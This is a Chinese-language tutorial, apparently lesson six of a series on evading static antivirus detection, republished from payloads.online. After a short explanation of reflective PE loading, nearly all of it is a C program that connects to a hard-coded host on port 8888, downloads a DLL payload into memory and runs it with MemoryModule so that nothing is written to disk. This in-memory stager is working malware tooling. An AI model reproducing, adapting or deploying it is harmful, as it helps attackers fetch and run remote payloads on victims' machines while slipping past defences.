静态恶意代码逃逸(第六课)
项目背景:Windows操作系统在执行一个Windows PE格式的文件时,Windows自身是有一个Windows PE格式的解析器,通过PE格式把文件的各个节放入不同的内存区域。爱折腾的程序员自己 2020-1-2 00:0:0 Author: payloads.online(查看原文) 阅读量:0 收藏

项目背景:Windows操作系统在执行一个Windows PE格式的文件时,Windows自身是有一个Windows PE格式的解析器,通过PE格式把文件的各个节放入不同的内存区域。

爱折腾的程序员自己也想实现这个过程,那就是反射,这个反射机制就是将Windows PE格式通过自己写的代码进行解析,并把不同的节数据加载到内存中,通常这个反射加载技术被很多APT组织、大型渗透框架、病毒作者使用比较广泛。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include "MemoryModule.h"
#pragma comment(lib,"ws2_32.lib")

#define PAYLOAD_SIZE 1024*512
typedef BOOL (*Module)(HMODULE hModule, DWORD ul_reason_for_call , LPVOID lpReserved);

typedef VOID (*msg)(VOID);
PBYTE bFileBuffer = NULL;


BOOL GetPEDLL(){
	
	DWORD dwError;
	WORD sockVersion = MAKEWORD(2, 2);
	WSADATA wsaData;
	SOCKET socks;
	SHORT sListenPort = 8888;
	struct sockaddr_in sin;

	if (WSAStartup(sockVersion, &wsaData) != 0)
	{
		dwError = GetLastError();
		printf("[*]WSAStarup Error : %d \n",dwError);
		return FALSE;
	}
	
	socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

	if (socks == INVALID_SOCKET)
	{
		dwError = GetLastError();
		printf("[*]Socket Error : %d \n",dwError);
		return FALSE;
	}

	sin.sin_family = AF_INET;
	sin.sin_port = htons(sListenPort);
	sin.sin_addr.S_un.S_addr = inet_addr("192.168.170.138");

	if(connect(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR )
	{
		dwError = GetLastError();
		printf("[*]Bind Error : %d \n",dwError);
		return FALSE;
	}
	
	int ret = 0;
	ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
	ret = recv(socks,(PCHAR)bFileBuffer,2650,NULL);
	ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
	ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
	ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);

	ZeroMemory(bFileBuffer,PAYLOAD_SIZE);

	
	ret = recv(socks,(PCHAR)bFileBuffer,5120,NULL);

	if (ret > 0)
	{
		closesocket(socks);
	}


	return TRUE;
} 

// 打开文件并获取大小
DWORD OpenBadCodeDLL(HANDLE & hBadCodeDll, LPCWSTR lpwszBadCodeFileName){
	DWORD dwHighFileSize = 0;
	DWORD dwLowFileSize = 0;
	// 打开文件
	hBadCodeDll = CreateFile(lpwszBadCodeFileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL ,NULL);
	if(hBadCodeDll == INVALID_HANDLE_VALUE){
		return GetLastError();
	}
	dwLowFileSize = GetFileSize(hBadCodeDll,&dwHighFileSize);
	return dwLowFileSize;
}


int main()
{
	
	HMEMORYMODULE hModule;
	Module DllMain;
	bFileBuffer = new BYTE[PAYLOAD_SIZE];
	GetPEDLL();
	// 导入PE文件
	hModule = MemoryLoadLibrary(bFileBuffer);
	// 如果加载失败,就退出
	if(hModule == NULL){
		delete [] bFileBuffer;
		return -1;
	}
	// 获取msg导出函数地址
	DllMain = (Module)MemoryGetProcAddress(hModule,"DllMain");
	// 运行msg函数
	DllMain(0,0,0);
	// 释放资源
	DWORD dwThread;
	HANDLE hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)DllMain,NULL,NULL,&dwThread);
	
	WaitForSingleObject(hThread,INFINITE);
	
	MemoryFreeLibrary(hModule);
	// 释放PE内存
	delete [] bFileBuffer;
	return GetLastError();
}

文章来源: https://payloads.online/archivers/2020-01-02/1/
如有侵权请联系:admin#unsafe.sh